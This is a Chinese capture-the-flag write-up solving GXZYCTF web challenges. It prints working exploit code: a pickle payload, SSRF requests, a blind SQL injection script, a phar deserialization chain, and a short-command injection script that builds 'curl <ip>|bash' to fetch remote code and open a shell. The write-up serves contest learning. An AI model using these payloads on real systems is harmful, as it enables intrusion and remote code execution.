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GXZYCTF部分Web Writeup

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本文字数： 19k 阅读时长 ≈ 17 分钟

很长一段时间没有接触了，都沉迷于课程学习不能自拔（被迫的），果然2020年对题目都失去了感觉，不仅如此，刚打开就想x了……，简单先整理一下做出来的题。

0x00 Webtmp

题目源码

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import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"

    sample_obj = Animal('一给我哩giaogiao', 'Giao')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

很明显一道python反序列化的题，不过if b'R' in base64.b64decode(pickle_data)断了直接反弹shell和调用render_template函数的操作，所以说就是只能给secret.name、secret.category变量赋值，要求type为Animal，同时secret又要重main启动，所以需要重写一下secret类。参考https://blog.init-new-world.com/post/hitctf-train.html（也就是原题）

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# -*- coding: utf-8 -*-
# @Author: Cyc1e
# @Date:   2020-03-07 14:51:06
# @Last Modified by:   Cyc1e
import pickle
import base64

payload = b"\x80\x03c__main__\nsecret\n}q\x02(X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00kittyq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00catq\x06ub0c__main__\nAnimal\n)\x81}q\x02(X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00kittyq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00catq\x06ub."
print(base64.b64encode(payload).decode())

0x01 fmkq

访问直接给了题目源码

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 <?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
    $begin = "The number you want: ";
    extract($_GET);
    if($head == ''){
        die('Where is your head?');
    }
    if(preg_match('/[A-Za-z0-9]/i',$head)){
        die('Head can\'t be like this!');
    }
    if(preg_match('/log/i',$url)){
        die('No No No');
    }
    if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
        die('Don\'t use strange protocol!');
    }
    $funcname = $head.'curl_init';

    $ch = $funcname();
    if($ch){
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        curl_close($ch);
    }
    else{
        $output = 'rua';
    }
    echo sprintf($begin.'%d',$output);
}
else{
    show_source(__FILE__);
}

关键就是触发curl了，参考https://www.php.net/manual/zh/function.sprintf 通过extract进行变量覆盖，覆盖begin为begin=%1$s，则sprintf($begin.'%d',$output);处就可以输出，例如构造

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?head=\&begin=%1$s&url=www.baidu.com

则可以返回baidu的内容，所以显然用来SSRF最合适不过，发现127.0.0.1还开了8080端口，所以构造

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?head=\&begin=%1$s&url=http://127.0.0.1:8080

也就是需要我们拿到vipcode，一通测试，python的格式化字符串问题，构造

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?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={file.__init__.__globals__[vip].__init__.__globals__}%26vipcode=xxx

可以读取到vipcode

带上vipcode就可以为所欲为了

提示了flag所在的文件，结合题目提示，flag的路径就是/fl4g_1s_h3re_u_wi11_rua/flag，读取题目源码可以发现fl4g被过滤了

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#readfile.py
from .vip import vip
import re
import os


class File:
    def __init__(self,file):
        self.file = file

    def __str__(self):
        return self.file

    def GetName(self):
        return self.file


class readfile():

    def __str__(self):
        filename = self.GetFileName()
        if '..' in filename or 'proc' in filename:
            return "quanbumuda"
        else:
            try:
                file = open("/tmp/" + filename, 'r')
                content = file.read()
                file.close()
                return content
            except:
                return "error"

    def __init__(self, data):
        if re.match(r'file=.*?&vipcode=.*?',data) != None:
            data = data.split('&')
            data = {
                data[0].split('=')[0]: data[0].split('=')[1],
                data[1].split('=')[0]: data[1].split('=')[1]
            }
            if 'file' in data.keys():
                self.file = File(data['file'])

            if 'vipcode' in data.keys():
                self.vipcode = data['vipcode']
            self.vip = vip()


    def test(self):
        if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
            return False
        else:
            return True

    def isvip(self):
        if self.vipcode == self.vip.GetCode():
            return True
        else:
            return False

    def GetFileName(self):
        return self.file.GetName()


current_folder_file = []


class vipreadfile():
    def __init__(self,readfile):
        self.filename = readfile.GetFileName()
        self.path = os.path.dirname(os.path.abspath(self.filename))
        self.file = File(os.path.basename(os.path.abspath(self.filename)))
        global current_folder_file
        try:
            current_folder_file = os.listdir(self.path)
        except:
            current_folder_file = current_folder_file

    def __str__(self):
        if 'fl4g' in self.path:
            return 'nonono,this folder is a secret!!!'
        else:
            output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
            filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
            output += filepath
            output += '\r\n\r\nThe content is:\r\n'
            try:
                f = open(filepath,'r')
                content = f.read()
                f.close()
            except:
                content = 'can\'t read'
            output += content
            output += '\r\n\r\nOther files under the same folder:\r\n'
            output += ' '.join(current_folder_file)
            return output
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#vip.py
import random
import string


vipcode = ''


class vip:
    def __init__(self):
        global vipcode
        if vipcode == '':
            vipcode = ''.join(random.sample(string.ascii_letters+string.digits, 48))
            self.truevipcode = vipcode
        else:
            self.truevipcode = vipcode

    def GetCode(self):
        return self.truevipcode

由于fl4g被过滤了，所以只能另辟蹊径，代码中

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global current_folder_file
try:
    current_folder_file = os.listdir(self.path)
except:
    current_folder_file = current_folder_file

所以可以通过current_folder_file来获取flag文件夹，构造

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{vipfile.__init__.__globals__[current_folder_file][21]}/flag

0x02 nweb

根据登入后的提示，用户会有分级，注册账号的时候隐藏了type属性

type赋值为110，登录后可以访问flag.php 里面是一个search框，可以测试一下注入

img

img

简单测试发现只过滤了select和from，可以双写绕过，所以写一个脚本跑就行了

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# encoding=utf-8
import requests
flag= ''
url = 'http://121.37.179.47:1001/search.php'
Cookie = {'PHPSESSID':'huiulsnkb5bpm59h6v38o1qlv1;',
          'username':'41fcba09f2bdcdf315ba4119dc7978dd'}
proxies = {
        "http": "http://127.0.0.1:8080",
        }
#erfenfa
for i in range(1,50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        #payload=r"1' or 1=(ascii(mid(CONCAT_WS(CHAR(32,58,32),user(),database(),version()),{},1))>{})--+" #65
        #payload=r"1' or 1=(ascii(mid((selselectect group_concat(column_NAME) frfromom information_schema.columnS where table_name='admin'),{},1))>{})#"
        payload=r"1' or 1=(ascii(mid((selselectect pwd frfromom admin limit 1),{},1))>{})#"
        #payload=r"1' or 1=(ascii(mid((database()),{},1))>{})#"
        url_1=url+payload.format(i,mid)
        data={"flag":payload.format(i,mid)}
        r=requests.post(url,data=data,cookies=Cookie,proxies=proxies)
        print(r.content)
        if b"is flag" in  r.content:
            low=mid+1 
        else:
            high=mid
        mid=(low+high)//2
    print(flag)
    flag+=chr(mid)

数据库里只有一半的flag：flag{Rogue-MySql-Server- ，同时还得到了admin用户的密码：whoamiadmin

根据前半段flag和登录后的提示，也就是伪造mysql服务任意文件读取的问题了，通过Rogue-MySql-Server脚本设置读取一下flag.php文件

也就拿到了flag的后一部分，拼接起来就可以了。

0x03 php uaf

送分题，访问直接得源代码

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<?php

$sandbox = '/var/www/html/sandbox/' . md5("wdwd" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (isset($_REQUEST['cmd'])) {
    @eval($_REQUEST['cmd']);
}

highlight_file(__FILE__);

看一下phpinfo，php版本是7.4.2，设置了disable_function和open_basedir

image-20200309110411132

直接拿https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass php7.4版本通杀的exp通道菜刀传上去直接执行/readflag就行了

0x04 dooog

题目很简单，逻辑捋清楚就行了，从client出发，先后向kdc的getTGT和getTicket发包校验，校验通过则发包到cmd执行，执行没有回显，主要在getTicket中的判断限制了cmd的内容，不过认真分析一下kdc源码，可以发现data变量是可控的，控制前一数据包中的timestamp使得int(time.time()) - data[‘timestamp’] > 60就可以了，所以修改client app.py

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from flask import Flask, request, render_template, redirect, url_for, session, flash
from flask_bootstrap import Bootstrap
from form import RegisterForm, CmdForm
from toolkit import AESCipher
import os, requests, json, time, base64

app = Flask(__name__)
app.config["SECRET_KEY"] = os.urandom(32)
bootstrap = Bootstrap(app)

@app.route('/')
def index():
    return render_template('index.html', form='')

@app.route('/cmd', methods=['GET', 'POST'])
def cmd():
    form = CmdForm()
    if request.method == 'GET':
        return render_template('index.html', form=form)
    elif request.method == 'POST':
        if form.validate_on_submit():
            username = form.username.data
            master_key = form.master_key.data
            cmd = form.cmd.data
            print(username,master_key,cmd)
            cryptor = AESCipher(master_key)
            authenticator = cryptor.encrypt(json.dumps({'username':username, 'timestamp': int(time.time())}))
            res = requests.post('http://121.37.164.32:5001/getTGT', data={'username': username, 'authenticator': base64.b64encode(authenticator)})
            if res.content == 'time error':
                flash('time error')
                return redirect(url_for('index'))
            if res.content.startswith('auth'):
                flash('auth error')
                return redirect(url_for('index'))
            session['session_key'], session['TGT'] = cryptor.decrypt(base64.b64decode(res.content.split('|')[0])), res.content.split('|')[1]
            flash('GET TGT DONE')
            #visit TGS
            cryptor = AESCipher(session['session_key'])
            authenticator = cryptor.encrypt(json.dumps({'username': username, 'timestamp': 1}))

            res = requests.post('http://121.37.164.32:5001/getTicket',  data={'username': username, 'cmd': cmd, 'authenticator': base64.b64encode(authenticator), 'TGT': session['TGT']})
            if res.content == 'time error':
                flash('time error')
                return redirect(url_for('index'))
            if res.content.startswith('auth'):
                flash('auth error')
                return redirect(url_for('index'))
            if res.content == 'cmd error':
                flash('cmd not allow')
                return redirect(url_for('index'))
            flash('GET Ticket DONE')
            client_message, server_message = res.content.split('|')
            session_key = cryptor.decrypt(base64.b64decode(client_message))
            cryptor = AESCipher(session_key)
            authenticator = base64.b64encode(cryptor.encrypt(username))
            res = requests.post('http://121.37.164.32:5002/cmd', data={'server_message': server_message, 'authenticator': authenticator})
            return render_template('index.html', form='', flag=res.content)
        return render_template('index.html', form=form)
    else:
        return 'error' , 500

@app.route('/register', methods=['GET','POST'])
def register():
    form = RegisterForm()
    if request.method == 'GET':
        return render_template('index.html', form=form)
    elif request.method == 'POST':
        if form.validate_on_submit():
            username = form.username.data
            master_key = form.master_key.data
            res = requests.post('http://121.37.164.32:5001/register', data={'username': username, 'master_key': master_key})
            if res.content == 'duplicate username':
                return redirect(url_for('register'))
            elif res.content != '' :
                session['id'] = int(res.content)
                flash('register success')
                return redirect(url_for('index'))
        return render_template('index.html', form=form)
    else:
        return 'error' , 500

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port = 5000)

本地起一个服务来发包就行了

0x05 sqlcheckin

这道题原题，就不写了，转https://gksec.com/HNCTF2019-Final.html#toc-sqlsql

0x06 Hackme

访问www.zip得到题目源码，主要在于profile.php

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<?php
error_reporting(0);
session_save_path('session');
include 'lib.php';
ini_set('session.serialize_handler', 'php');
session_start();

class info
{
    public $admin;
    public $sign;

    public function __construct()
    {
        $this->admin = $_SESSION['admin'];
        $this->sign = $_SESSION['sign'];

    }

    public function __destruct()
    {
        echo $this->sign;
        if ($this->admin === 1) {
            redirect('./core/index.php');
        }
    }
}

$a = new info();
?>

构造一下序列化

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<?php
class info
{
    public $admin;
    public $sign;

    public function __construct()
    {
        $this->admin = 1;
        $this->sign = '';

    }

    public function __destruct()
    {
        echo $this->sign;
        if ($this->admin === 1) {
            redirect('./core/index.php');
        }
    }
}

$a = new info();
echo serialize($a);
?>

输出：O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:"";}修改为|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:"";}发送后范围profile进入到/core/index.php

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require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
    #hint : core/clear.php
    $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
    echo $sandbox;
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_POST['url'])) {
        $url = $_POST['url'];
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
                echo "you are hacker";
            } else {
                $res = parse_url($url);
                if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
                    $code = file_get_contents($url);
                    if (strlen($code) <= 4) {
                        @exec($code);
                    } else {
                        echo "try again";
                    }
                }
            }
        } else {
            echo "invalid url";
        }
    } else {
        highlight_file(__FILE__);
    }
} else {
    die('只有管理员才能看到我哟');
}

总结起来就是4字节执行命令，不过首先得绕过一下preg_match，构造

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url=compress.zlib://data:@127.0.0.1/plain;base64,xxxx

来绕过判断，之后参考https://blog.csdn.net/qq_27446553/article/details/78502337 四字符getshell构造脚本

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# -*- coding: utf-8 -*-
# @Author: Cyc1e
# @Date:   2020-03-09 13:53:34
# @Last Modified by:   Cyc1e
# @Last Modified time: 2020-03-09 14:18:18
#encoding=utf-8
import requests
from time import sleep
from urllib import quote
import base64
payload = [
    # 将 "g> ht- sl" 写到文件 "v"
    '>dir',
    '>sl',
    '>g\>',
    '>ht-',
    '*>v',
    # 将文件"v"中的字符串倒序，放到文件"x"，就变成了 "ls -th >g"
    '>rev',
    '*v>x',
    # generate `curl orange.tw.tw|python`
    # generate `curl 10.188.2.20|bash`
    '>p\ ',
    '>ph\\',
    '>a.\\',
    '>\>\\',
    '>E1\\',
    '>01\\',
    '>E8\\',
    '>31\\',
    '>0x\\',#IP地址的16进制
    '>\ \\',
    '>rl\\',
    '>cu\\',# getshell
    'sh x',
    'sh g',
]

payload_all = 'compress.zlib://data:@127.0.0.1/plain;base64,{0}'
cookies={'PHPSESSID': 'd1b8d083fa8c9bdb28317c30b103bbb6'}
r = requests.get('http://121.36.222.22:88/core/clear.php',cookies=cookies)
for i in payload:
    assert len(i) <= 20
    r = requests.post('http://121.36.222.22:88/core/index.php',cookies=cookies,data={"url":payload_all.format(base64.b64encode(i))})
    print r.text
    sleep(0.5)

0x07 webct

访问www.zip拿到题目源码，题目提供了两个页面，一个是测试数据库连接，一个是文件上传，分析一下源码

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#testsql.php
<?php
error_reporting(0);
include "config.php";
$ip = $_POST['ip'];
$user = $_POST['user'];
$password = $_POST['password'];
$option = $_POST['option'];
$m = new db($ip,$user,$password,$option);
$m->testquery();

数据库连接测试接收到数据后实例化db类进行测试连接，文件上传页面源码

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<?php
error_reporting(0);
include "config.php";
//var_dump($_FILES["file"]);
$file = new File($_FILES["file"]);
$fileupload = new Fileupload($file);
$fileupload->deal();
echo "存储的图片:"."<br>";
$ls = new Listfile('./uploads/'.md5($_SERVER['REMOTE_ADDR']));
echo $ls->listdir()."<br>";
?>

各个类的实现代码

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#config.php
<?php
error_reporting(0);
class Db
{
    public $ip;
    public $user;
    public $password;
    public $option;
    function __construct($ip,$user,$password,$option)
    {
        $this->user=$user;
        $this->ip=$ip;
        $this->password=$password;
        $this->option=$option;
    }
    function testquery()
    {
        $m = new mysqli($this->ip,$this->user,$this->password);
        if($m->connect_error){
            die($m->connect_error);
        }
        $m->options($this->option,1);
        $result=$m->query('select 1;');
        if($result->num_rows>0)
        {
            echo '测试完毕，数据库服务器处于开启状态';
        }
        else{
            echo '测试完毕,数据库服务器未开启';
        }
    }
}

class File
{
    public $uploadfile;
    function __construct($filename)
    {
        $this->uploadfile=$filename;
    }
    function xs()
    {
        echo '请求结束';
    }
}

class Fileupload
{
    public $file;
    function __construct($file)
    {
        $this->file = $file;
    }
    function deal()
    {
        $extensionarr=array("gif","jpeg","jpg","png");
        $extension = pathinfo($this->file->uploadfile['name'], PATHINFO_EXTENSION);
        $type = $this->file->uploadfile['type'];
        //echo "type: ".$type;
        $filetypearr=array("image/jpeg","image/png","image/gif");
        if(in_array($extension,$extensionarr)&in_array($type,$filetypearr)&$this->file->uploadfile["size"]<204800)
        {
            if ($_FILES["file"]["error"] > 0) {
                echo "错误：: " .$this->file->uploadfile["error"] . "<br>";
                die();
            }else{
                if(!is_dir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/")){
                    mkdir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/");
                }
                $upload_dir="./uploads/".md5($_SERVER['REMOTE_ADDR'])."/";
                move_uploaded_file($this->file->uploadfile["tmp_name"],$upload_dir.md5($this->file->uploadfile['name']).".".$extension);
                echo "上传成功"."<br>";
            }
        }
        else{
            echo "不被允许的文件类型"."<br>";
        }
    }
    function __destruct()
    {
        $this->file->xs();
    }
}
class Listfile
{
    public $file;
    function __construct($file)
    {
        $this->file=$file;
    }
    function listdir(){
        system("ls ".$this->file)."<br>";
    }
    function __call($name, $arguments)
    {
        system("ls ".$this->file);  #👈这个地方明显的反序列化，所以主要就是构造的问题
    }
}

所以整体逻辑也很清晰，利用文件上传上传phar文件，通过Rogue-MySql-Server访问phar文件触发反序列化

首先构造一下phar

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<?php
class Fileupload
{
    public $file;
    function __construct($file)
    {
        $this->file = $file;
    }
    function __destruct()
    {
        $this->file->xs();
    }
}
class Listfile
{
    public $file;
    function __construct()
    {
        $this->file="/ ;/readflag";
    }
    function __call($name, $arguments)
    {
        system("ls ".$this->file);
    }
}
@unlink("ccc.phar");
$phar = new Phar("ccc.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$a=new Listfile();
$b=new Fileupload($a);
echo serialize($b);
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

输出ccc.phar后进行上传

在vps上编辑Rogue-MySql-Server脚本启动就行

还有一个问题就是testsql中的option设成什么？option用于设置MYSQLI_OPT_LOCAL_INFILE，本地查看一下

所以option设置为8就行了，利用testsql访问服务器上起的rogue_mysql_server服务就会直接触发/readflag

0x08 nothardweb

这个没去看，具体思路是跑seed（这里有一个非预期），可以直接构造cookie，打内网，之后内网还有一个tomcat，复现后写

0x09 easy_trick_gzmtu

SQL注入后，复现写